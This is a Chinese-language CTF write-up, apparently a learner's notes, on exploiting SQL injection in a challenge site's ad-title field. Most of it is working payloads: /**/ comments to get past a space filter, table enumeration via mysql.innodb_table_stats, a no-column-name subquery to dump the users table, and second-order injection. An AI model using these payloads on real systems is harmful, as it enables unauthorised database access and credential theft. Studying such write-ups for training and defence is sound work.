注册进去发现可以发广告,这种格式不是sql注入就是xss漏洞。
可以发现是存在的。后面用beef发现没用,并不是窃取cookie信息来登录后台
试试sql注入
在标题上进行判断
可以发现标题存在sql注入,往后面试,发现%23和--+ 不能闭合。
我们可以在后面加上别的
可以发现,上图''1''
和这边的'322'
1’是我们输入的内容。
多加个单引号构造"1"'
让语句闭合
进行联合查询的时候发现过滤了空格
可以用/**/绕过(之前试试了括号但觉得好奇怪,不理解为什么报错)
1'/**/union/**/select/**/1,2,3/**/'
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
发现2,3那可查
查询库名的时候发现被过滤了,
可能是from和information被过滤了,查资料 (select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats)
学到一个新姿势,mysql.innodb_table_stats查询表名
还可用sys.schema_auto_increment_columns
/****
(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum
ns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
,19,20,21,22/**/'
*****/
上面方法行不通做个记录吧
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
自己做了一下无列名查询测试,发现那篇wiriteup好像写错了…(不知道是不是对的)
select b from(select 1,2,3 as b 4,5 union select * from users)sdada
当反引号被过滤了,可以使用这个as绕过,查询字段值。(那个writeup查询的结果是4字段的内容,但是他的payload却是3 as b)个人觉得他这里有问题,不对请指正。
由此可对这题得出payload
用二次注入的方法进行注入
1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)adsa),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'